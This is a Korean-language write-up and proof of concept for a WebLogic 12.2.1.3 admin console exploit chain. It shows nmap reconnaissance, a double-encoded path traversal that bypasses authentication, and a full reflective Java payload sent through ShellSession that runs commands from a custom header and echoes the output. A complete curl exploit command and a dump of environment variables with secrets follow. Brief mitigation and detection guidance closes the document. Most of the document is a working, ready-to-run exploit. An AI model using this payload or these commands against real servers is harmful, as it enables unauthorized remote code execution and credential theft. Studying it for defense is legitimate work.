
Oracle WebLogic Server 취약점 체인을 위한 기술 분석 및 깔끔한 Java Thread Echo PoC.
이 저장소는 Oracle WebLogic Server 관리 콘솔 구성 요소에서 인증 우회(Authentication Bypass) 및 원격 코드 실행(RCE) 취약점 체인을 시연하기 위한 기술 보고서(Write-up)와 개념 증명(Proof of Concept, PoC)을 포함합니다.
🛑 경고 및 면책 조항: 본 자료는 교육 목적과 합법적인 보안 감사(Pentest) 수행을 위해서만 준비되었습니다. 소유자의 사전 서면 동의 없이 설명된 기술을 시스템에 사용하는 것은 법적으로 처벌받을 수 있습니다.
12.2.1.3 버전이 배포된 격리된 테스트 환경nmap, curl, bash공격 표면을 파악하기 위해 웹 서비스 표준 포트와 Java 애플리케이션 관리 포트에 대한 타겟 스캔을 수행했습니다:
nmap -sV -p 7001,80,8080,8443 <TARGET_IP>
제어된 터미널 출력:
Starting Nmap ( https://nmap.org )
Nmap scan report for target.local (<TARGET_IP>)
Host is up (0.012s latency).
PORT STATE SERVICE VERSION
80/tcp closed http
8080/tcp closed http-proxy
7001/tcp open http Oracle WebLogic admin httpd 12.2.1.3 (T3 protocol enabled)
Service detection performed.
Nmap done: 1 IP address (1 host up) scanned
12.2.1.3 브랜치가 존재함을 확인했습니다. T3 프로토콜 활성화는 대체 벡터를 시사하지만, 이 연구에서는 콘솔의 HTTP 웹 인터페이스를 선택했습니다.경로 구조 분석 결과, 웹 서버가 이중 URL 인코딩된 상위 디렉터리 이동 시퀀스를 잘못 처리하는 것으로 나타났습니다. /console/css/ 리소스는 정적 파일에 대해 열려 있습니다. 보호된 포털에 접근하기 위해 요청을 구성합니다:
/console/css/%252e%252e%252fconsole.portal서버의 접근 가능 여부와 동작을 확인합니다 (403 Forbidden 또는 로그인 페이지로의 302 Redirect 대신 200 OK 상태를 기대):
curl -I -s -k "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal"
서버 응답:
HTTP/1.1 200 OK
Connection: close
Content-Type: text/html; charset=UTF-8
인증 우회를 세션 핸들러 com.tangosol.coherence.mvel2.sh.ShellSession 호출과 결합하여 임의의 Java 코드를 실행할 수 있게 되었습니다.
java.lang.Runtime를 통한 일반적인 명령 실행은 '블라인드'(Blind RCE) 상태입니다. Command Echo(HTTP 응답 본문에 터미널 출력을 직접 반환) 기법을 구현하기 위해 특수한 리플렉티브 Java 페이로드가 개발되었습니다.
// 1. WebLogic의 현재 실행 중인 작업 스레드를 가로챕니다
weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
// 2. Reflection API를 통해 내부 연결 핸들러를 추출합니다
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
// 3. 현재 세션의 Request 및 Response 객체에 접근합니다
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
// 4. 공격자가 보낸 커스텀 HTTP 헤더를 읽습니다
String cmd = req.getHeader("X-CMD-HEADER");
if (cmd != null) {
// 셸 호출을 위해 대상 시스템의 OS를 확인합니다
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window")
? new String[]{"cmd.exe", "/c", cmd}
: new String[]{"/bin/sh", "-c", cmd};
// 시스템 명령을 실행하고 Input Stream을 읽습니다
String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream())
.useDelimiter("\\A").next();
// 결과를 웹 서버의 출력 HTTP 스트림에 강제로 기록합니다
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
}
// 5. HTTP 패킷을 클라이언트에 즉시 전송하기 위해 스레드를 중단합니다
executeThread.interrupt();
Java 컨텍스트 전송을 자동화하기 위해 최종 curl 명령을 구성합니다. 페이로드는 POST 파라미터 handle에 전달하고, 실행할 명령은 커스텀 헤더 X-CMD-HEADER: env에 전달합니다.
이 방식은 연구자 측 로컬 Bash 셸 인터프리터에 의한 데이터 왜곡을 방지합니다.
curl -v -k -N -X POST "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal" \
--data "_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(\"getServletRequest\").invoke(obj); String cmd = req.getHeader(\"X-CMD-HEADER\"); String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[] {\"cmd.exe\" , \"/c\" , cmd} : new String[]{\"/bin/sh\" , \"-c\" , cmd}; if (cmd != null) { String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\"\\\\A\").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(\"getResponse\").invoke(req); res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); res.getServletOutputStream().flush(); } executeThread.interrupt();\")" \
-H "X-CMD-HEADER: env"
실제 검증된 출력 (환경 변수 덤프):
* Trying <TARGET_IP>:7001...
* Connected to target.local (<TARGET_IP>) port 7001
> POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
> Host: <TARGET_IP>:7001
> User-Agent: curl/8.5.0
> X-CMD-HEADER: env
>
< HTTP/1.1 200 OK
< Connection: close
< Content-Type: text/html; charset=UTF-8
<
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
JAVA_USE_64BIT=true
HOSTNAME=node-app-prod-instance
WEBLOGIC_CLUSTER_NAME=ProductionCluster
APP_SECRET_TOKEN=<REDACTED_SECURE_TOKEN_VALUE>
TARGET_ENV_VARIABLE=<REDACTED_SECRET_FLAG_HASH>
* transfer closed with outstanding read data remaining
* Closing connection
curl: (18) transfer closed with outstanding read data remaining
curl: (18) 오류는 익스플로잇 성공을 확인합니다. 이는 executeThread.interrupt() 명령이 env 명령 결과 버퍼가 클라이언트로 전송된 직후 TCP 세션을 강제로 끊기 때문에 발생합니다.7001, /console)를 외부 경계로부터 완전히 네트워크 격리합니다 (내부 VPN/마이크로세그멘테이션을 통해서만 접근 허용).%252e)의 징후와 특정 Java 클래스 호출이 결합된 URL 요청을 차단하도록 Web Application Firewall 규칙을 설정합니다.보안 모니터링 전문가(SOC/Blue Team)의 경우, 이 취약점 체인의 성공적인 익스플로잇은 인프라에 명확한 흔적을 남깁니다.
WebLogic 웹 서버 로그(일반적으로 access.log에 위치)에서 공격의 마커는 정적 디렉터리를 통한 관리 포털 접근과 점 및 슬래시의 이중 URL 인코딩이 결합된 형태입니다:
.. 검색: %252e%252e%252f 또는 %252e%252e%252F."POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1" 200 4531
서버에 프로세스 감사가 설정된 경우(예: Linux의 Auditd 또는 Windows의 Sysmon), 원격 코드 실행의 징후는 Java 부모 프로세스의 비정상적인 동작입니다:
/bin/sh, /bin/bash 또는 cmd.exe)의 부모 프로세스가 애플리케이션 서버를 실행 중인 Java 작업 프로세스인 경우:
├─ java (WebLogic Server process)
│ └─ /bin/sh -c env
X-CMD-HEADER 또는 X-Forwarded-Cmd)가 트래픽 또는 WAF 로그에 나타나는지 확인.